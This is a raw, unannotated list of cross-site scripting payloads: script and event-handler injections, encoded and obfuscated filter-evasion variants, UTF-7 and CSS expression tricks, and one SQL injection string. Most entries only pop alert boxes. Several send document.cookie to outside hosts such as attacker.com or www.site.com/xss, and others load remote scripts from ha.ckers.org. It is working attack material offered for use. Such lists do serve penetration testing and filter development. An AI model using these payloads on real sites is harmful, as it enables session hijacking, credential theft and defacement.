<a onclick="alert(omurugur);">/

"><img src=x onerror=prompt(/omur/)>

");</script><script>alert(1)</script>"

"><aUdIo SrC=x OnErRoR=alert(71465)>');"

"><svg/onload;=alert(1)>

?templid=1%27%22%3E%3Cscript%3Ealert%28%27XSS%20@%20%27%2bdocument.domain%29%3C%2fscript%3E

perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out

?attribute='</script><body onload&value=alert(document.cookie)

?value=A%27)%3b}%3balert(document.cookie)%3bif(0){var+html%3dwindow.opener.document.querySelector(%27[%3d"

?value=%22a%27);//%3C/script%3E%3Cbody%20onload=alert(document.cookie)%3E

\uFF1C%\uFE64input/autofocus onfocus\b='[1].find(alert)'

"><img src=x onerror=alert(document.domain)>

<form action="javascript:alert(document.domain)"><button>Click</button></form>

"/><script>alert(1)</script>

//x:1/:///%01javascript:alert(document.cookie)/

<a href="javascript&colon;alert(document&period;domain)">Click Here</a>

'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'

%0aalert(1);/”><script>///

“><iframe src=”/tests/cors/%23/tests/auditor.php?q1=<img/src=x onerror=alert(1)”

*//”><script>/*alert(1)//

"onmouseover='prompt(1)'bad=">

--></sCrIpT><sCrIpT>alert(1234)</sCrIpT>

"><script src=https://x.com></script>

/<svg%20onload=alert(eval(‘document’+unescape(unescape(“%252e”))%2b’domain’))>

test'"()&%<acx><ScRiPt >prompt(1)</ScRiPt>

"()&%<ScRiPt >prompt(/XSS/)</ScRiPt>

1"sTYLe='acu:Expre/**/SSion(prompt(1))'bad=">

'><img/src=''onerror='alert(atob(/PDMgVHJlbGxv/.source))

' OR '1'='1' #

"onmouseover='prompt(1)'bad=">

?29ced"><script>alert(1)</script>9d013=1

"><img+src=1+onerror=alert('hacı')>&action=edit&comment=123\">

</script><script type=text/javascript>alert(123)</script>

<?xml version="1.0"?><html:html xmlns:html='http://www.w3.org/1999/xhtml'><html:script>alert(document.cookie);</html:script></html:html>

<a%20href="java%1B%28Jscript:alert%281%29">

%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE

<a[\x0b]onmouseover=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>

eval("aler"+(!![]+[])[+[]])("xss")

this["document"]["cookie"]

window[(+{}+[])[+!![]]+(![]+[])[!+[]+!![]]+([][+[]]+[])[!+[]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]]

this['ale'+(!![]+[])[-~[]]+(!![]+[])[+[]]]()

this['\x64\x6f\x63\x75\x6d'+([][+[]]+[])[!+[]+!![]+!![]]+([][+[]]+[])[+!![]]+(!![]+[])[+[]]][({}+[])[!+[]+!![]+!![]+!![]+!![]]+({}+[])[+!![]]+({}+[])[+!![]]+'kie']

document['\x63\x6f\x6f\x6b\x69\x65']

%E2%80%B9%25tag+style%3D%22xss%3Aexpression%28alert%28123%29%29%22+%E2%80%BA

\%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//

%uff1cscript%uff1ealert(123456);%uff1c/script%uff1e

<%tag style="xss:expression(alert(123))">

%uff1cscript%uff1ealert(123456)%uff1c/script%uff1e

"123"+style="behavior:url(http://www.biznet.com.tr/xss.htc)"

"><img src='/Content/TTNet/Images/logo_user.gif'onerror=javascript:alert("XSS")>

<img src=1 onerror=innerHTML=location.hash> and http://victim.com#<img src=1 onerror=alert(1)>

<item>

<title>BIZNET RSS XSS TEST <script>alert("BIZNET");</script></title>

</item>

</channel>

</rss>

"></iframe><img/src="x"/onerror="alert(1)"/><"

"+style="bahaviour:expression(function{}{ alert('xxs') }(this)}'

" type="image" src="dontcare.jpg" onerror="alert(123)

'%26%26'javascript:alert%25281%2529//

http://site/utf-7.html?--+AD4-+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

%A2%BE%BCscript%BEalert(%A2XSS%A2)%BC/script%BE

javascript:/*-->]]>%>?></script></title></textarea></noscript></style></xmp>">[img=1,name=/alert(1)/.source]<img -/style=a:expression&#40&#47&#42'/-/*&#39,/**/eval(name)/*%2A///*///);width:100%;height:100%;position:absolute;-ms-behavior:url(#default#time2) name=alert(1) onerror=eval(name) src=1 autofocus onfocus=eval(name) onclick=eval(name) onmouseover=eval(name) onbegin=eval(name) background=javascript:eval(name)//>"

0;url=javascript:alert(1)" http-equiv="refresh" "

<!</textarea <body onload='alert(1)'>

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>

";location=location.hash)//#0={};alert(0)

alert(document.cookie)

alert(document['cookie'])

with(document)alert(cookie)

</a onmousemove="alert(1)">

";document.write('<img sr'%2b'c=http://www.site.com/xss?'%2bdocument['cookie']%2b'>');"

%22%27%2F%3E%3Cscript%3Ealert%28'Props+To+TheRat'%29%3C%2Fscript%3E

'});%0aalert(1);%20//

"+onmouseover="window.location='http://www.biznet.com.tr'

%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%69%20%61%6D%20%68%65%72%65%27%29%3C%2F%73%63%72%69%70%74%3E

<ScriPt>ALeRt("i am here")</scriPt>

%00<script>alert('XSS')</script>

?>'"><script>alert(90889)</script>

%22%20onmouseover%3dalert(String.fromCharCode(88,83,83))%20par%3d%22

%3Cbody%20onload=alert(document.cookie)%3E

%3ciMg+SrC%3dx+OnErRoR%3dalert(51336)%3e

<img%20src%3da%20onerror%3dalert(1)>

%A2%BE%BCscript%BEalert(%A2XSS%A2)%BC/script%BE

”>alert(String.fromCharCode(88,83,83));

" onmouseover=alert(23)

"+onkeypress="alert(23)"+"

"+onmouseover="alert(1)"+"

111"+onmouseover=alert(11123);

'onfocus='alert(0x000381)'

'onclick='alert(0x000381)'

%uff1cscript%uff1ealert('vulnerability')%uff1c/script%uff1e

"><SCRIPT SRC="http://www.biznet.com.tr/turkcell_xss.jpg"></SCRIPT>

%00<script><script>alert('xss')</script></script>

&quot&gt<script><script>alert('xss')</script></script>

\'\");|]*{%0d%0a<%00

/"'></SCRIPT></TITLE></TEXTAREA>'/"></XSS/*-*/STYLE=xss:e/**/xpression(try{a=firstTime}catch(e){firstTime=1;alert(793202)})>

"><script>alert('XSS')</script>

"/><script>alert('XSS')</script>

'><script>alert('XSS')</script>

>"'><script>alert('XSS')</script>

/><script>alert('XSS')</script>

';}</script><script>alert('XSS')</script>

%27%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%48%65%6C%6C%6F%27%29%3C%2F%73%63%72%69%70%74%3E

%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%48%65%6C%6C%6F%27%29%3C%2F%73%63%72%69%70%74%3E

%3E%22%27%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%58%53%53%27%29%3C%2F%73%63%72%69%70%74%3E

%2F%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%27%48%65%6C%6C%6F%27%29%3C%2F%73%63%72%69%70%74%3E

%u0027%u003e%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0027%u0048%u0065%u006c%u006c%u006f%u0027%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

%u0022%u003e%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0027%u0048%u0065%u006c%u006c%u006f%u0027%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

%u003e%u0022%u0027%u003e%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0027%u0058%u0053%u0053%u0027%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

%u002f%u003e%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u003e%u0061%u006c%u0065%u0072%u0074%u0028%u0027%u0048%u0065%u006c%u006c%u006f%u0027%u0029%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e

%0027%003e%003cscript%003ealert%0028%0027Hello%0027%0029%003c%002fscript%003e

%0022%003e%003cscript%003ealert%0028%0027Hello%0027%0029%003c%002fscript%003e

%003e%0022%0027%003e%003cscript%003ealert%0028%0027XSS%0027%0029%003c%002fscript%003e

%002f%003e%003cscript%003ealert%0028%0027Hello%0027%0029%003c%002fscript%003e

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

'';!--"<XSS>=&{()}

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<SCR\0IPT>alert("XSS")</SCR\0IPT>

<<SCRIPT>alert("XSS");//<</SCRIPT>

<IMG SRC="javascript:alert('XSS')"

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

\";alert('XSS');//

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS

¼script¾alert(¢XSS¢)¼/script¾

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

exp/*<A STYLE='no\xss:noxss("*//*");

xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML> <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>"></BODY></HTML>

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

%22%20style%3D%22background:expression(alert(1))%22%20OA%3D%22

3c%2fscript%3e%3cscript%3ealert(1);%3c%2fscript%3e

"+on mouse over ="*****('XSS')

"><sCrIpT>alert(02164699099)</sCrIpT>

document.write("\u003Cscript src=http://ha.ckers.org/xss.js\u003E\u003C/script\u003E");

<SCRIPT>alert('XSS')</SCRIPT>

%3CSCRIPT%3Ealert%283%29%3C%2FSCRIPT%3E

';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

'';!--"<XSS>=&{()}

<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

exp/*<XSS STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>

%BCscript%BEalert(%A2XSS%A2)%BC/script%BE

a="get";
b="URL("";
c="javascript:";
d="alert('XSS');")";eval(a+b+c+d);

<STYLE TYPE="text/javascript">alert('XSS');</STYLE>

<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>

<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>

<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>

<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">

<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>

<XML ID="xss"><I><B><IMG SRC="javascript:alert('XSS')"></B></I></XML><SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>

<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert('XSS')</SCRIPT>"> </BODY></HTML>

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

\";alert(1);//

</TITLE><SCRIPT>alert("XSS");</SCRIPT>

<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>

<SCRIPT SRC=http://ha.ckers.org/xss.js

<SCRIPT SRC=//ha.ckers.org/.j

<IMG SRC="javascript:alert('XSS')"

<<SCRIPT>alert("XSS");//<</SCRIPT>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

<SCRIPT>a=/XSS/%0a%0dalert(a.source)</SCRIPT>

<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>

<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>

<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>

%3CIFRAME+SRC%3D%22javascript%3Aalert(1)%3B%22%3E%3C%2FIFRAME%3E

+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-

%2bADw-script%2bAD4-%0d%0aalert(1)%2bADw-%2fscript%2bAD4-

%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-

+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-

+ADw-/title+AD4APA-meta http-equiv+AD0-'content-type' content+AD0-'text/html+ADs-charset+AD0-utf-7'+AD4-

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&oe=Windows-31J

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&oe=CP932

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&eo=MS932

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&cs=jis

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&charset=utf8

%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-&enc=sjis

left:expression(eval(alert(1)))

#444;background-image: expression(alert(1));

width:expression(eval( String.fromCharCode(100,111,99,117,109,101,110,116,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,102,101,114,114,117,104,46,109,97,118,105,116,117,110,97,46,99,111,109,47,120,115,115,47,63,39,43,101,115,99,97,112,101,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41)))

%22%20onload=%22this.src='http://www.unirostock.de';this.onload=function(){};%22%20x=%22

XSS%22%3E%3C/div%3E%3Ciframe%20src=http://www.unirostock.de%20style=width:600px;height:500px%3E

data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=

</b><script>alert(7)</script>

background-image: url(javascript:alert(1))

[url=javascript:alert('XSS');]click me[/url]

[url=javascript:alert(1);]click me[/url]

oncontextmenu=prompt(document.cookie)

"><input>javascript:alert(document.cookie);>

"><% response.write "<script type=text/javascript>alert(document.cookie)</script>" %>

"><img src=1 onerror=alert(document.cookie);>

"><IMG SRC=JaVaScRiPt:alert(document.cookie)>

"><IMG """><SCRIPT>alert(document.cookie)</SCRIPT>">

"><IMG SRC=javascript:alert('XSS')>

"><IMG SRC="jav ascript:alert(document.cookie);">

"><IMG SRC="jav	ascript:alert(document.cookie);">

\";alert(document.cookie);//

"></TITLE><SCRIPT>alert(document.cookie);</SCRIPT>

"><%tag style="xss:expression(alert(document.cookie))" %>

"><script>alert(document.cookie)</script>

"><script>alert(document.cookie)</script>

"><script>alert(document.cookie)</script>

"><h1>

"><tetxarea></script><img src=1 onerror=alert(document.cookie);>

%uff1cscript%uff1ealert(document.cookie)%uff1c/script%uff1ealert

“/></a></><img src=1.gif onerror=alert(document.cookie)>

</script>">'><script>prompt(String.fromCharCode(88.83.83))</script>

"><option>"><button>img src=x onerror=alert(/xss/);></button></option>

</title><script>alert(/xss/)</script>

'"><script>alert(document.domain)</script>

"><iframe onclick=alert(Evan)></iframe>

</textarea>"><script>prompt(Evan)</script>

//>'>"><img src=x onerror=prompt(Evan);>

"><img src=x onerror=prompt(1)>.asd.asd

'"()&%1<ScRiPt >prompt(963191)</ScRiPt>

'"--></style></script><script>alert(/xss/)</script>

"><img src=x.png onerror=prompt("XSS");>

"><img src=x onerror=prompt(1);>

"><script>prompt(1)</script>

"/><script>alert(document.cookie);</script>

"><IMG SRC=# onmouseover="alert('xss')">

#!prettyPhoto/<a onclick="alert(/XSS by Evan/);">/

false,false,false);});alert(1); //

</title><body onload=alert(1);></iframe src=http://google.com>-->

'"onmouseover="prompt(1)"

"><script>alert(document.domain)</script>

<scRiPt>alert(1);</scrIPt>

<scr<script>ipt>alert(1)</scr<script>ipt>

<a href="rhainfosec.com" onclimbatree=alert(1)>ClickHere</a>

<body/onhashchange=alert(1)><a href=#>clickit

<iframesrc="javascript:alert(2)">

<formaction='data:text/html,<script>alert(1)&lt/script&gt'><button>CLICK

<isindexformaction="javascript:alert(1)" type=image>

<form><button formaction=javascript&colon;alert(/xssbyevan/)>CLICKME

<marquee/onstart=confirm(2)>/

<marquee<marquee/onstart=confirm(2)>/onstart=confirm(1)>

<a onmouseover=location=’javascript:alert(1)>click

<body onfocus="location='javascrpt:alert(1) >123

<math><a xlink:href="//jsfiddle.net/t846h/">click

" autofocusonfocus=alert(1)//

" onmouseover="prompt(0) x="

" onfocusin=alert(1) autofocus x="

" onfocusout=alert(1) autofocus x="

" onblur=alert(1) autofocus a="

";alert(1)//

"/></script><svg onload='-/"/-prompt(/xss by evan/)//'

"><img src=x <img src=x onerror=prompt(7)>=<img src=x onerror=prompt(7)>(1)>

"><h1 ondblclick=prompt(document.domain)>xss by evan</h1>

';prompt(String.fromCharCode(120,+115,+115))//\';

<><><><><><a onmouseover=prompt(1337)>XSS</a>

<a href="java%1B(Jscript:alert(1)">test

');alert(document.cookie)//

"></iframe><script>alert(document.cookie)</script>xss

'+prompt(9)+'

javascript:alert(1);

<input/onmouseover="javaSCRIPT&colon;confirm(1)"

<sVg><scRipt %00>alert(1) {Opera}

<img/src=`%00` onerror=this.onerror=confirm(1)

<form><isindex formaction="javascript&colon;confirm(1)"

<img src=`%00`&NewLine; onerror=alert(1)&NewLine;

<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?

"><h1/onmouseover='\u0061lert(1)'>%00